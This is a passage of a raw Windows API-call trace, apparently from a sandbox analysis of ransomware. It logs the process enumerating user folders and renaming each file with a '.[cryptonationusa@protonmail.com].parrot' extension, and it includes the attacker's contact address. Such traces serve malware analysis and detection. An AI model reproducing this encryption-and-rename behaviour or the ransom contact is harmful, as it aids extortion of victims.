(lpString1=".", lpString2=".") returned 0 [0092.535] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.535] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.536] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.536] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.536] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.536] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\get windows live.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.540] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.540] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.541] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.541] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.541] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.541] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.542] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.542] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live gallery.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.544] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.544] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.545] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.545] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.545] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.545] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.546] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.546] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live mail.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.549] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.549] ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0092.550] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.550] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x85, lpOverlapped=0x0) returned 1 [0092.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.550] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.550] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.551] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\windows live spaces.url.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.553] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.554] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.555] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.555] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.555] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.555] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0092.556] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0092.556] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0xffffffff [0092.556] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", fInfoLevelId=0x0, lpFindFileData=0x18f85c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f85c) returned 0x6003d0 [0092.556] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.556] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0092.556] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.557] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0092.557] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.558] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.558] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.559] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.559] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x450, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x450, lpOverlapped=0x0) returned 1 [0092.559] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.560] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.560] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.560] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\1ax-w7ef.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\1ax-w7ef.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\1ax-w7ef.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\1ax-w7ef.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.562] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.562] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.563] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.563] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa0bb, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xa0bb, lpOverlapped=0x0) returned 1 [0092.564] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.565] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.565] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.566] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\F-46y9ZHx.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\f-46y9zhx.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\F-46y9ZHx.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\f-46y9zhx.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.570] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.570] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0092.570] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.570] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5283, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x5283, lpOverlapped=0x0) returned 1 [0092.571] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.618] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.619] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.620] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\i4rVZv.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\i4rvzv.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\i4rVZv.mp3.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\i4rvzv.mp3.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.623] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0092.623] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.624] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0092.624] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0092.624] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.624] ReadFile (in: hFile=0x1fc, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.625] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.625] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb9e7, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xb9e7, lpOverlapped=0x0) returned 1 [0092.626] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.627] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.628] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.629] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\E7WgT 88Xz.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\e7wgt 88xz.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\fvvILK ZsD01\\5jrOKgXJqs4j\\ubwrm\\AFfPnIAskY8Q\\E7WgT 88Xz.wav.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\fvvilk zsd01\\5jrokgxjqs4j\\ubwrm\\affpniasky8q\\e7wgt 88xz.wav.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0092.632] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0092.632] ReadFile (in: hFile=0x1fc, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0092.633] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.643] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb62b, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18ebe4*=0xb62b, lpOverlapped=0x0) returned 1 [0092.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0092.643] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0092.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0092.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0092.643] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x6572a0 [0092.643] GetLastError () returned 0x0 [0092.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0092.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0092.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0092.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0092.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0092.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0092.646] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0092.646] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x5d6758 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6758 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b680 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b680 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x601838 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x655920 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x31793a8 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x655920 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179590 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793a8 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179860 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179590 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x318a060 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179860 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x31793a8 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x318a060 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31793a8 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x6572a0 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x318a060 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0092.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6572a0 | out: hHeap=0x5b0000) returned 1 [0092.647] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x63b1e8 [0092.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0092.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x63e180 [0092.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63b1e8 | out: hHeap=0x5b0000) returned 1 [0092.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6428d0 [0092.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x63e180 | out: hHeap=0x5b0000) returned 1 [0092.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x2252f70 [0092.648] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6428d0 | out: hHeap=0x5b0000) returned 1 [0092.648] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, 